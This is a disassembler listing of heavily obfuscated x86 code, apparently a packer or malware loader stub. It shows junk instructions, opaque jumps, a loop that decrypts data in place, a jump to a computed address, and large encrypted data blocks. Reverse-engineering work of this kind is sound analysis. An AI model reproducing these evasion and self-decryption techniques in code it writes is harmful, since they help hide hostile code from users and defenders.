loc_5E6EDB:				; CODE XREF: .XComp0:005E6ECBj
		push	18F6h
		pusha
		mov	edi, esi
		mov	ecx, [ebp+5F915B1h]
		popa
		pop	ebx
		mov	edx, edi
		push	dword ptr [ecx]
		mov	[ebp+5F929E5h],	edi
		pop	eax
		mov	[ebp+5F91029h],	edi
		sub	eax, 7F01D0AAh
		pusha
		jns	near ptr byte_5E6F0D
		mov	di, 21DBh
; ---------------------------------------------------------------------------
byte_5E6F0D	db 0BEh, 0AFh, 0CAh	; CODE XREF: .XComp0:005E6F03j
		db 66h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5E6E77


loc_5E6F11:				; CODE XREF: sub_5E6E77+35j
		dec	eax
		popa
		sub	eax, 38C3AD5Ah
		mov	dx, 5B03h
		xor	eax, 19A6A1h
		jl	loc_5E6F2F
		mov	edx, [ebp+5F907B9h]


loc_5E6F2F:				; CODE XREF: sub_5E6E77+ACj
		mov	[ecx], eax
		mov	[ebp+5F92255h],	edi
		sub	ecx, 188AC8CAh
		jge	loc_5E6F57
		push	esi
		jmp	loc_5E6F56
; END OF FUNCTION CHUNK	FOR sub_5E6E77
; ---------------------------------------------------------------------------
		db 0EBh, 0D9h, 2Fh
		dd 663E2CB3h, 76B48FE1h
		db 81h,	62h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5E6E77


loc_5E6F56:				; CODE XREF: sub_5E6E77+CDj
		pop	edi


loc_5E6F57:				; CODE XREF: sub_5E6E77+C6j
		add	ecx, 188AC8C6h
		sbb	esi, 116FAC30h
		sub	ebx, 1
		jnz	loc_5E6F83
		movsx	edx, cx
		jmp	loc_5E6FA4
; END OF FUNCTION CHUNK	FOR sub_5E6E77
; ---------------------------------------------------------------------------
		db 63h
		dd 97C83685h, 6FA6EF20h
; ---------------------------------------------------------------------------
		lahf
		fadd	st(6), st
; START	OF FUNCTION CHUNK FOR sub_5E6E77


loc_5E6F83:				; CODE XREF: sub_5E6E77+F2j
		call	near ptr loc_5E6F8B+2
		lea	ebp, [eax+71h]


loc_5E6F8B:				; CODE XREF: sub_5E6E77:loc_5E6F83p
		and	eax, 0B1BD89B7h
		xor	al, 0F9h
		add	eax, 0FF54E95Eh
; END OF FUNCTION CHUNK	FOR sub_5E6E77
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0A17C5DFFh, 8ABA20DCh, 8D56DCCFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5E6E77


loc_5E6FA4:				; CODE XREF: sub_5E6E77+FBj
		call	near ptr sub_5E6FB0
		dec	ebp
		mov	edx, 25B2D835h
		dec	edx
; END OF FUNCTION CHUNK	FOR sub_5E6E77

; =============== S U B	R O U T	I N E =======================================



sub_5E6FB0	proc far		; CODE XREF: sub_5E6E77:loc_5E6FA4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		movsx	ebx, bx
		pop	esi
		xor	[ebp+5F9120Dh],	edx
		add	esi, 6435h
		mov	di, si
		push	18DEh
		movzx	ebx, cx
		pop	ecx
		mov	[ebp+5F904D1h],	ebx


loc_5E6FD2:				; CODE XREF: sub_5E6FB0+A9j
		push	dword ptr [esi]
		pusha
		mov	dh, 6Eh
		jmp	loc_5E6FE4
; ---------------------------------------------------------------------------
		cmp	ch, ch
		mov	edi, 1F4BF87Fh
		retf
; ---------------------------------------------------------------------------


loc_5E6FE4:				; CODE XREF: sub_5E6FB0+27j
		popa
		pop	edx
		mov	ax, 7552h
		add	edx, 0A26C7A6h
		mov	[ebp+5F90CC1h],	edi
		add	edx, 4E37F992h
		push	edi
		mov	ebx, eax
		pop	edi
		sub	edx, 669C2F80h
		mov	[ebp+5F91995h],	edx
		mov	[esi], edx
		mov	di, cx
		sub	esi, 50109C65h
		push	ecx
		and	eax, 0EB5421Fh
		pop	ebx
		add	esi, 50109C61h
		jmp	loc_5E7036
; ---------------------------------------------------------------------------
		dw 0E893h
		dd 7338FA16h, 0EB316Eh
		db 7, 0A0h
; ---------------------------------------------------------------------------


loc_5E7036:				; CODE XREF: sub_5E6FB0+75j
		sub	ecx, 1
		jnz	loc_5E7058
		xor	eax, [ebp+5F90CB5h]
		jmp	loc_5E706A
; ---------------------------------------------------------------------------
		dw 0A378h
		dd 20908F9Dh, 0F0B5082Eh, 26D6160Ch
; ---------------------------------------------------------------------------


loc_5E7058:				; CODE XREF: sub_5E6FB0+89j
		stc
		jmp	loc_5E6FD2
; ---------------------------------------------------------------------------
		dw 7BBBh
		dd 7A9EBFC6h, 7BEC6C01h
		db 0E1h, 8Ah
; ---------------------------------------------------------------------------


loc_5E706A:				; CODE XREF: sub_5E6FB0+95j
		jmp	loc_5E7084
; ---------------------------------------------------------------------------
		db 7Ah
		dd offset dword_558348+6C9h
		dd 4 dup(0)
; ---------------------------------------------------------------------------


loc_5E7084:				; CODE XREF: sub_5E6FB0:loc_5E706Aj
		jmp	loc_5E7806
; ---------------------------------------------------------------------------
		db 0F0h, 0D1h, 40h
		dd 7A95399Ch, 4EB523C2h, 7B8A2F96h, 49BE1EC9h, 53008193h
		dd 597CA067h, 81649873h, 6A8DAF5Ah, 6E548885h, 0CBEF8AC9h
		dd 0F76C2395h, 78638C39h, 6336B758h, 2EA173AEh,	20DD9DF1h
		dd 0FDEA0313h, 0D3F22ADDh, 1FE23EAh, 0EBBE2FDAh, 0F5D7A24Bh
		dd 64849777h, 0BD1D9A57h, 8096434Ah, 0CCC14C71h, 0FFBAA72Dh
		dd 13CF2DE5h, 43CCF403h, 4CB7219Eh, 897E5E49h, 7A9C5504h
		dd 0DF0BFC71h, 0C243A80Fh, 0BB20BD2Ch, 2AFFF60Dh, 839BDAC2h
		dd 9851D4ABh, 7D5A8164h, 7227AE61h, 547582B7h, 0C96D3CB1h
		dd 8C2DCA6Fh, 0B716D579h, 725C5B52h, 0A6131499h, 8499E46Fh
		dd 69162996h, 0A54A2DA0h, 0BD749936h, 84D2A538h, 9DC940DAh
		dd 92EB28D1h, 0F299684h, 0CEEDFC12h, 0FEFECF1Eh, 7143BCE7h
		dd 8973AEB8h, 0A35E937Fh, 0DE10765Eh, 39800FEDh, 95A05F1Ah
		dd 0F1FDC29h, 0F01DC225h, 68EFC349h, 0A86D6E78h, 0C0B65D86h
		dd 6529961Dh, 3A925C8Ah, 0FD12BC4h, 30D57929h, 4D2F60BCh
		dd 8979h, 31CECB00h, 0D02B818Ch, 643FDF88h, 0FDE21125h
		dd 0D07F3h, 0E52C96F2h,	471863F0h, 16BB2996h, 26C843A9h
		dd 21BB8BD7h, 0F54D2F63h, 9602391Fh, 0D6786162h, 0A4Ah
		dd 4F3F9500h, 0DB9D38E2h, 8CDF55F9h, 0B8537964h, 537B7C71h
		dd 9FBC85BCh, 299685DEh, 0DA46AE5Bh, 5D45833Dh,	0B1B62FBFh
		dd 0BB44FD08h, 23F6F70Eh, 0A643DA13h, 0B658B319h, 0AD111B47h
		dd 8D05B45h, 7B98B66Eh,	29966702h, 8247827Fh, 0BB527B5Ah
		dd 46CEA789h, 507B51E2h, 0BB3ADC56h, 0F841F80Fh, 9666225Bh
		dd 4CE29F29h, 0B12C9493h, 0FCAFF0Ah, 0CFC647A8h, 79EBF41Ah
		dd 749337C0h, 7786A881h, 7C59816Bh, 6A3FB64Fh, 239C7D9Fh
		dd 49A84EB5h, 749337A4h, 6C61A881h, 7F8C32CDh, 3CBB5B0Eh
		dd 3F98438Eh, 32A36E9Dh, 0B287B277h, 9295C35Ah,	18230FB7h
		dd 2995BF65h, 0D81125E2h, 991CEBCFh, 0E0D72C8Eh, 12F3D8FBh
		dd 1BF2D6D7h, 0FE090FCFh, 0B1B61ED0h, 0AA0ACC3Fh, 339D7284h
		dd 744D2F90h, 0F8h, 8A608CCEh, 991D34D0h, 5F9A4F20h, 7D917258h
		dd 7C558364h, 7F76BB54h, 58C94BEEh, 0F9F10311h,	0CA7D001Bh
		dd 0DFA2995h, 87D332C4h, 2E9045A5h, 0CE4D8DDh, 1D8815B3h
		dd 0A9509950h, 0FDBAC350h, 18372995h, 896055B6h, 6184AE40h
		dd 9A735C79h, 568B4613h, 0FE0D70ABh, 2D982995h,	54D8CE5h
		dd 0B65845B9h, 64A14A2Dh, 0F68557BDh, 0D89090B2h, 0C9A015F6h
		dd 53F5EE00h, 0C00AEBCh, 0C2590090h, 0FC7D9E27h, 79299637h
		dd 735A458Ch, 0A44A1F96h, 2F127D5Fh, 983A4Dh, 0F050000h
		dd 292637C9h, 0B77D9175h, 7E8931CEh, 56B119D8h,	0B45F9A5Fh
		dd 299685C9h, 0A5735946h, 3E52621Ch, 44A746E8h,	0D8E0B9A8h
		dd 14DD7371h, 1DEAD2EDh, 0DD28F0F9h, 38CFFBF1h,	30D5F601h
		dd 0F04AECBDh, 1861F247h, 0A3299683h, 390FF290h, 4F3D361h
		dd 14F831DAh, 0BE5BBB5Eh, 9AA0B689h, 7C8731CEh,	5CB31BDAh
		dd 85CCAA59h, 0C8712996h, 8597E271h, 16222996h,	0BE528F52h
		dd 0B75744BAh, 0B02C1A48h, 844D2F55h, 8FCC537Bh, 299671EEh
		dd 0E373BE6Bh, 147h, 5E8CA100h,	56837CA5h, 74E64992h, 66ABE973h
		dd 4B94BA6Fh, 4F8A836Ch, 6D508368h, 8940199Ch, 61DE7C65h
		dd 7E907556h, 6F59537Fh, 6EF87094h, 0F930DD02h,	0F211B740h
		dd 2B082EFBh, 8DF02BD6h, 0A2995B9h, 0D856F91Dh,	0EB2F8EDAh
		dd 0FB0B73Eh, 18E146FEh, 9C9782FBh, 0EED0FF23h,	0B342D41Dh
		dd 0E792030Ah, 0C043A512h, 7EFF1CCDh, 0FB239C97h, 1265E80Eh
		dd 0AD239C97h, 52BA7462h, 1F5847EDh, 0D817370Ah, 0B39CF9F7h
		dd 0E20B7A57h, 0C47F227h, 239CDB71h, 0DB8FEA29h, 0F0C239Ch
		dd 0D25CF2AFh, 5243CAF3h, 5AAB10A7h, 81708653h,	0A83CB15Ch
		dd 329B91BDh, 4D829DBh,	0D048D6F7h, 0A40807E7h,	8319C780h
		dd 7DA94D50h, 215h, 3169FFC7h, 23CFEF08h, 0D5CBD0DCh, 830ABFF6h
		dd 68F340D6h, 2F8ED322h, 789737C0h, 0C04D7275h,	100DE509h
		dd 0D8359A9Dh, 423BD821h, 0BF239CBAh, 0B035EAC2h, 947B8A00h
		dd 0B00DB882h, 0B01BA45Dh, 8D2CB559h, 2692B987h, 7086702Ch
		dd 3CB15C81h, 0E308EFA8h, 1FEAB22h, 0F0A92CD7h,	0B9B39F5Eh
		dd 2F4A0914h, 0AC239D2Fh, 2F2954FFh, 0F9A6239Dh, 0BE43F930h
		dd 48D60B22h, 0A4E3h, 41D63E00h, 0EAFCFCCCh, 0CE161C32h
		dd 0EC8DCE73h, 69299685h, 85DE9FBCh, 0AE5B2996h, 1446DC88h
		dd 852B2EEDh, 3BE8A996h, 5D203B06h, 0DAA99685h,	0F237CEFBh
		dd 7D00835Ch, 88A99685h, 0C0B95A9Fh, 78A99685h,	9685A2DBh
		dd 7C621FA9h, 0C0B95A7Fh, 3DA99685h, 34FAE40h, 3EA2069Ch
		dd 0D6E118D1h, 0CC9D10F5h, 0CB340D2Ah, 3AEFE61Dh, 3AF80BD2h
		dd 0DD715939h, 9619EF6Ah, 0ABE5E729h, 0A89F7840h, 98B1CC87h
		dd 712E2995h, 0A15E96B8h, 1075A7Bh, 5A9F0000h, 9598C0B9h
		dd 0A2DB7829h, 1F299598h, 6F7F7C62h, 0FF69FFC9h, 40F930DFh
		dd 851F5AF9h, 0DF9C2996h, 5131E24Fh, 0F72F8F86h, 0DA2CE115h
		dd 0BC10875Ah, 4BA1CBE8h, 798195DAh, 10AF176Fh,	0AC654C99h
		dd 0EE8FCC75h, 6B239D0Ch, 684F98BEh, 6D685487h,	5F3ABB4Eh
		dd 0BB7623AAh, 9C815E89h, 9D0CFE7Fh, 438E7B23h,	1AB7219Eh
		dd 8A5F56B3h, 8D36AF3Fh, 239D0DE7h, 9D517D88h, 50E35437h
		dd 9CD3BAC3h, 624A3723h, 9EB0AD8Ah, 7D9F6E4Fh, 0EDCD5BCDh
		dd 0E92ACF1Ah, 299D580Eh, 20CC42CAh, 0A2B63699h, 519A648Ch
		dd 0FA3D7C6Eh, 0FEF920E9h, 34D9F6DDh, 0D21E8C1h, 23EAD3D4h
		dd 0F5E128B2h, 7BA6FC6Ah, 575A4EC6h, 0A32ADFFEh, 0A2AC1EF6h
		dd 0CA2D2036h, 86239D1Ch, 6BD559BBh, 40622A5Eh,	9C32CAB3h
		dd 0B45A4717h, 0B9C44F3Ch, 36179C32h, 5E598049h, 0E025877Ch
		dd 43A3BB43h, 0EE4BE509h, 8CC891E6h, 10261AE0h,	1469FF2Ah
		dd 900C1CADh, 86BB765Ah, 819A44BBh, 965AA7D2h, 0B2772429h
		dd 85C86E3Bh, 2F971572h, 385919F3h, 0AC7B9662h,	66877065h
		dd 6D5275A7h, 6FBA4F6Eh, 0DA9F42CAh, 1DD785BEh,	5A63F0F9h
		dd 0C67720CAh, 0E607E5F1h, 0E705F227h, 0BD281224h, 0CB34ED20h
		dd 9750E61Dh, 0D3DA2B90h, 0E7020A37h, 1B53F69Eh, 82D02FBFh
		dd 14C845AAh, 8C010CB1h, 8A9h, 31CED700h, 9DD97D88h, 0AC658CE7h
		dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h
		dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 1D681BCCh, 89000078h
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	1510h
		mov	[esp+0], ebp
		push	ebx
		push	119F2CA2h
		pop	ebx
		inc	ebx
		push	esi
		mov	esi, 2D166D95h
		shr	esi, 1
		xor	esi, 0E2EABB33h
		add	ebx, esi
		pop	esi
		mov	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	ebp
		push	32Eh
		mov	[esp+4+var_4], edi
		xor	[esp+4+var_4], 13826910h
		pop	dword ptr [ebp+8]
		xor	dword ptr [ebp+8], 13826910h
		mov	ebp, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dw 0D4Ch
		dd 0CA8B7D9Bh
		db 0CDh, 3
; ---------------------------------------------------------------------------


loc_5E7806:				; CODE XREF: sub_5E6FB0:loc_5E7084j
		mov	eax, 600C189h
		add	eax, ebp
		jmp	eax
sub_5E6FB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Eh
		dd 0D12370CDh, 0C91D14F2h, 1E7FBBC5h, 0E1E56EAh, 536825DDh
		dd 3856D2F0h, 824BFE6Ah, 889A075h, 0DC781469h, 69D78DA6h
		dd 2E8635DCh, 908635A1h, 480AD925h, 99053025h, 177F27D0h
		dd 76023F25h, 7863025h,	0BB90B198h, 0A5893020h,	90863057h
		dd 501FB5E3h, 4CC835DCh, 0C44C8AAFh, 0C3A204A4h, 7BF8B848h
		dd 0BB91C590h, 3103BD20h, 6F83CCE0h, 8E76BBF5h,	0DD9EA9A0h
		dd 66EE7E20h, 8866FEE2h, 94B21411h, 0F77978A9h,	247F26A4h
		dd 5596B5A8h, 987935D9h, 343FC8AEh, 0FB863025h,	986302Dh
		dd 8A033F83h, 0B863025h, 0A489F92Eh, 6F79CFD5h,	48863DCCh
		dd 0CC1BBD25h, 0AA83C96Bh, 9863020h, 390BD3DAh,	4486F21Bh
		dd 0E37DBDA8h, 823E3625h, 63000000h, 826FF1EAh,	889A075h
		dd 0DC781469h, 69D78DA6h, 2E8635DCh, 908635A1h,	480AD925h
		dd 99053025h, 0F305E983h, 22B9A4h, 8D8D0000h, 600C3B5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9CC35747h
		dd 8D89E35Ah, 5F90CDDh,	89958B50h, 5805F903h, 26C185C7h
		dd 5DE805F9h, 0BD230000h, 5F904B9h, 21D5858Bh, 85C705F9h
		dd 5F900FDh, 0
; ---------------------------------------------------------------------------
		mov	dh, 28h
		push	dword ptr [ebp+5F91771h]
		push	0
		push	ebx
		call	sub_5E7973
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E7973	proc near		; CODE XREF: .XComp0:005E796Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5E7973	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:8C8CFC99h
		mov	esp, 803AAC2Eh
		or	[ebp+5F92D95h],	esi
		call	dword ptr [ebp+5F920D5h]
		mov	edx, esi
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5E7A1F
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E8h, 26h, 1Ch
		dd 0DE0BC045h, 29B74385h, 0DDE124F7h, 1CB7B6Eh,	0C031F553h
		dd 93AB4947h, 776FCEFCh, 0C82B6ECDh, 1F105DF2h,	81D7F066h
		dd 4C0ACEF1h, 1CB2793Bh, 0F41BF411h, 0CEC5B0D5h, 55C96696h
		dd 9E657F62h, 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch,	0BBA5CB8Fh
		dd 0B3539721h, 0B201C870h, 9FE5374h, 1414D3ABh,	5D23C6A7h
		dd 15614E17h, 76EDBBA1h, 855B3C88h
; ---------------------------------------------------------------------------
		dec	byte ptr [ebx-0Bh]


loc_5E7A1F:				; CODE XREF: .XComp0:005E79A5j
		jmp	loc_5E7A36
; ---------------------------------------------------------------------------
		retn	5591h
; ---------------------------------------------------------------------------
		db 37h
		dd 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E7A36:				; CODE XREF: .XComp0:loc_5E7A1Fj
		jmp	loc_5E860F
; ---------------------------------------------------------------------------
		db 3Eh
		dd 0FB66EA3h, 19BC60AFh, 45B054AFh, 1CBB61A4h, 8FA557B0h
		dd 82856512h, 0BA517B5Ah, 91786382h, 0AA638C6Bh, 6CA75072h
		dd 2395C211h, 0A710D98Eh, 17D2C342h, 31CE41F7h,	6AA14B88h
		dd 0DB7B2E9Fh, 96860278h, 9379C029h, 982BD99Ch,	562734F9h
		dd 0D32995B9h, 0CB140D6h, 0F221D801h, 2995B987h, 3DF71704h
		dd 13FAE3DCh, 0A9F16703h, 922EC970h, 4A6F787Dh,	6DE076BBh
		dd 2F8ECC81h, 8182684Fh, 41B95D0Ch, 0BF379D44h,	3B73B847h
		dd 47F2FB1Bh, 0F40567C5h, 30EB7443h, 239D744Dh,	214DDCAh
		dd 0C350C7F3h, 239D74BAh, 5D7F4A37h, 571A58BCh,	9D2D317h
		dd 24E906E5h, 0DBB44FDh, 931465F6h, 0A491239Ch,	9C930677h
		dd 4B868323h, 983542ABh, 1E48075h, 0FB319D5h, 0B3D278BBh
		dd 0F41BC33Ch, 0B12A9362h, 7A03100Bh, 0F7239D83h, 1BCEBF0Ah
		dd 0FE12ED6h, 0C848D65Fh, 0A4h,	0A7608C1Ah, 0F18CC772h
		dd 6E299685h, 0DEDA5BB1h, 5C8CC475h, 6F8831BAh,	0A3608A4Bh
		dd 9CB27732h, 83686D4Dh, 615E0B82h, 51088D78h, 0DA7F1598h
		dd 0F3D8FDDDh, 3CE9B12h, 0C837D792h, 0C02A929Ah, 0B935AF6h
		dd 0EB28D11Ch, 29963C92h, 25D7120Fh, 36CDFB04h,	1071EB20h
		dd 0BA454D2Fh, 1142F714h, 29963468h, 0A1638E5h,	38h, 8EEF2CD5h
		dd 0B299634h, 0CE42F81Eh, 9F4B8831h, 5E8DA168h,	7F04897Eh
		dd 299685FBh, 4E8F611h,	2BDEFDD8h, 5BBF00C9h, 0A069A803h
		dd 2A577Ch, 15A20000h, 7CC254B7h, 7C8731CEh, 5F8EA079h
		dd 8C556F7Bh, 0E3EA1DBDh, 2FA8DE36h, 0FD8607C2h, 2996207Ah
		dd 0ECFA15h, 17F92BDCh,	0DEFF69FFh, 143FFA2Fh, 2F8FAEE6h
		dd 58AF1BA4h, 8A728455h, 5887F6Bh, 0F189D54h, 189F5AA9h
		dd 73BD51B2h, 0AA806654h, 0CAFC57A2h, 8E1C9158h, 3841D218h
		dd 0B5239CBAh, 3BD801C8h, 2995CF0Bh, 0CBEF0831h, 53E0B93Ch
		dd 1DA3A52Ah, 9C54FAA7h, 0CF6CEEDFh, 0A590E92Ah, 100D1DA3h
		dd 0D9D3FFFEh, 10FDE2EFh, 0A54F2AE9h, 0CFCC1DA3h, 0A2EDDF1Ah
		dd 0E50891C8h, 0E344EE00h, 0E57CFD1Eh, 0DAF91DA3h, 3DD118F5h
		dd 42F70CAEh, 0B0A6C5CAh, 0D3CC72F2h, 0D40D21E8h, 0A4335E2Fh
		dd 202E491Dh, 0BC659E4Ch, 33A3D685h, 46201DA4h,	0D84C2911h
		dd 0D363AE3Eh, 9637C069h, 0FF61D777h, 32073268h, 8103D4DAh
		dd 2FCCF454h, 2995F44Eh, 44F6DECBh, 37AFB1CBh, 0CE3FF519h
		dd 8595E873h, 0E3122996h, 35D910F7h, 27340DACh,	29968556h
		dd 0D23BA4D3h, 33C30EDBh, 0AA638C0Dh, 0CE6FD176h, 0EC8DCE73h
		dd 69299685h, 85DE9FBCh, 0AE5B2996h, 52198388h,	8B9E502Fh
		dd 61000000h, 1D907556h, 0CE94AA4Ch, 777E8931h,	47D08CA2h
		dd 73CEED1Bh, 45735E8Ch, 0A76237BEh, 70E37326h,	2996860Dh
		dd 5B649D8Ah, 0F6AA970h, 8C299686h, 815D5A8Fh, 0BC52078Eh
		dd 8731CE76h, 0A45DDA7Ch, 398A7030h, 0C3539B3Dh, 0B646CE7Dh
		dd 1FAA9FD9h, 9B3DAC42h, 0BC759A36h, 9B557A85h,	8D7BD25Ch
		dd 6B62A767h, 77EC8DCEh, 0BC692996h, 0A7648A75h, 5DE37326h
		dd 2D902712h, 0CE043ADCh, 23363A46h, 0A2C0090h,	4DE9h
		dd 46CE1700h, 0AD6533F8h, 0E7839335h, 0F4D60D70h, 6E4DA15h
		dd 8DCE1DCBh, 299685ECh, 0CEB14F86h, 9E4B8831h,	7EB36667h
		dd 0BB4C7077h, 84AA5F3Ah, 5E8C59A7h, 0DEE6F388h, 3AEFD473h
		dd 0D2271206h, 96853841h, 0F80DAE29h, 0C5C224F5h, 31CE0B31h
		dd 0A1787D88h, 9C815E8Dh, 9685FE7Fh, 538E7B29h,	9685B5C8h
		dd 0BC753229h, 75D8A39h, 9A6D299Bh, 8E7F604Ch, 0C6DAE53h
		dd 89299205h, 15C07A9Ch, 5C5B52B5h, 0C825A770h,	0AE2BD3F5h
		dd 5E572231h, 27D42992h, 8E79EBE2h, 55806C40h, 16219477h
		dd 549D54B9h, 4C7087B0h, 0FA769BBBh, 0CA4D2B7Ah, 74798C2Dh
		dd 9C04773h, 4C39E5h, 0FB040000h, 25EA06CFh, 0BD30F9B0h
		dd 43CAF3ECh, 638C8DB3h, 40B55678h, 9379A069h, 0DED66D2h
		dd 3AB34320h, 35EC36A0h, 8F2E7826h, 0F7FEAB2Fh,	0A9459166h
		dd 90A71723h, 0D97D3D81h, 0AB68B51Ah, 239D0DD2h, 7263A448h
		dd 8F5A47B7h, 638CD36Dh, 21B723AAh, 61F221C7h, 29968518h
		dd 0E821E895h, 0E126C631h, 0FB33E04Dh, 512F8F9Ch, 6F7F8466h
		dd 83629A87h, 9142B35Ah, 0A80FD807h, 0E00BF4B5h, 3397C329h
		dd 0F14D95D0h, 0FEB09E5Dh, 82ED901h, 0F7D704E9h, 0E2BD118h
		dd 183EC9F1h, 0E019F4D9h, 9518F7D7h, 21B932C4h,	0A5B66BB7h
		dd 0A5244359h, 0B0409DCCh, 730285A7h, 535A8F33h, 77994B86h
		dd 73268FFh, 85582132h,	28D52996h, 31CE3006h, 0AC977D88h
		dd 331E0B8Dh, 0E98760F6h, 95E873CEh, 12299685h,	0CF3022F8h
		dd 4D848108h, 36A54AA9h, 8BBD7499h, 6D4F68D1h, 0AC42179Eh
		dd 8931CE86h, 0E5CA967Eh, 23E9F9F3h, 9992FE13h,	6813502Fh
		dd 0F5000000h, 73268FFh, 314C0732h, 0AE299685h,	851762F1h
		dd 0B5942996h, 2801F417h, 0CEE74DE1h, 9685EC8Dh, 0B21BA429h
		dd 4643BB5Bh, 51BA249Bh, 0D3698D5Ch, 828D31CEh,	927ABF6Ch
		dd 0B2864537h, 97644896h, 51DB82D0h, 8C310727h,	0D3A6B55Eh
		dd 50299685h, 0CCEE8153h, 1FE6C91Dh, 271236EAh,	3ADC2D90h
		dd 478A04h, 0FFB60000h,	0F0073268h, 241A3CCDh, 85EC8DCEh
		dd 4F862996h, 8A31CEB1h, 0BB5B0E7Fh, 8F3CC37Eh,	42AA7F76h
		dd 804F1E16h, 54EA0C74h, 730D46CEh, 3BC63348h, 0F8EEDC1Bh
		dd 1BA03E51h, 0D30EC35Fh, 850801ECh, 12FC42D4h,	78638C2Eh
		dd 0A96D9856h, 240B6A4Ch, 22B124EDh, 299A8CC5h,	78E7D5Fh
		dd 4530BE20h, 0C4796424h, 9E890CC5h, 6540CC41h,	0D3A6B579h
		dd 502991E5h, 0A0979E53h, 2118FCB2h, 0EEDE90B9h, 901BC428h
		dd 972ADB46h, 0B6577877h, 4A62898Bh, 0E8DB6071h, 0EE98F304h
		dd 0F717942Bh, 0B8329A3Dh, 0E646012Bh, 0AA138C5Ah, 72B77263h
		dd 7A8B30C7h, 5790A673h, 0D1AC6792h, 4E29924Ah,	8E2EBD51h
		dd 37E07479h, 0AC4B8FD5h, 45E9F6DDh, 18C4A8B6h,	0DAC66BD2h
		dd 3E305325h, 86248830h, 40F9301Fh, 0AB05BECCh,	0A94DD187h
		dd 0C9EE828Fh, 49B64D2Bh, 7F8633A0h, 80965B0Eh,	28A4h
		dd 638C7E00h, 798623AAh, 0C894BA55h, 3EDD045Eh,	2F8F8644h
		dd 1DF0CDEAh, 0C52DC198h, 6F48D5D8h, 77648963h,	0C97BB655h
		dd 8931CE67h, 0B419D87Eh, 85CFAA69h, 0A4452996h, 49BD6C61h
		dd 9178635Ch, 53C55558h, 0A114F7D5h, 21D801C8h,	968587F2h
		dd 4E50429h, 14DD8C01h,	5C263502h, 0C72F8F98h, 0DDDA1FDAh
		dd 8CED0E01h, 9239D72h,	0DE40FA1Ch, 0A01568FFh,	877F1BF2h
		dd 828CBC75h, 0AA638CBEh, 6F62886Fh, 7E6FBA49h,	0CEB58BABh
		dd 5E10FF46h, 5EFD9375h, 2995A31Bh, 1026EB98h, 0D8F60126h
		dd 47E7C233h, 6046CEF1h, 7091FD64h, 2E927797h, 87502F07h
		dd 60h,	9749F5Ah, 86269631h, 0CEBF7599h, 8595E873h, 15122996h
		dd 0A8F26501h, 0EC8DCE78h, 69299685h, 85BC85BCh, 9685A3D6h
		dd 0D8632029h, 299685A5h, 85BBBE5Dh, 4B382996h,	0B288AE5Bh
		dd 7F8A31CEh, 0B757B818h, 5E8CC67Ah, 31CE83A5h,	0A1DA7C87h
		dd 418AFFh, 5DAF0000h, 0B9E3EF68h, 0CD7383BDh, 0E3268FFh
		dd 85EC8DCEh, 5F862996h, 9685C9B4h, 90594629h, 8C7ACE70h
		dd 0C57CA55Eh, 9685E396h, 4D716029h, 51E707C2h,	7C8731CEh
		dd 9EB05783h, 1ECB34D5h, 0CEF147E7h, 0D808B31h,	923BBA5Ch
		dd 6568A349h, 0B1787DB4h, 6257F55Bh, 799D94A5h,	9A1611D6h
		dd 5F582129h, 56038A79h, 171541C0h, 84A557B6h, 0FF99E290h
		dd 648A45A2h, 46736885h, 0E8CF0ABFh, 0DD8C0102h, 0AC3AB039h
		dd 0A0409B44h, 66AB7E6Fh, 3252BA6Fh, 0F4BC0BCAh, 0AB689158h
		dd 2F89D55Bh, 0D23D9C6h, 73268FFh, 541ECCF0h, 58AF717Bh
		dd 8C5D5099h, 0BE82D46Ah, 4F8C31CEh, 6469A06Fh,	6D52A1B5h
		dd 46CE80A0h, 0EF9945Ch, 308D0ABDh, 0ED01D8DDh,	3AA6ED43h
		dd 7B502F52h, 3Bh, 789339C6h, 68FF60D6h, 0CAF00732h, 51E5B439h
		dd 0EC8DCEEBh, 69299685h, 7ACE8CBCh, 4D8A31CEh,	5F569B6Eh
		dd 6385648Ah, 46CE80A0h, 41F9545Ch, 3E37D73Dh, 598A62h
		dd 0CEB60000h, 0BFF99646h, 15F7F1ADh, 0C8D818EBh, 0FC688E66h
		dd 0ED0A2F6Bh, 0E0B93CCFh, 46CEE84Eh, 27711FE4h, 18B6213Ah
		dd 72702F3h, 5A90E92Ah,	0B2A2996h, 965A2D50h, 0D43BA329h
		dd 0E99608E1h, 0DEFEF920h, 0AF5A429h, 0FAAF26E3h, 31CEDE54h
		dd 5BD87E89h, 0A55E8CADh, 8C2E1283h, 0A023AA63h, 299B074Bh
		dd 0BA219E5Bh, 6B8B5E4Fh, 815E4E9Ch, 506D588Ch,	527B84BDh
		dd 6F9844BBh, 628BAB7Eh, 0DD045EC8h, 9C11FEE2h,	4F0C29CDh
		dd 2F8B09BBh, 0A73A059h, 872398FFh, 8F7C749Ah, 98FEF984h
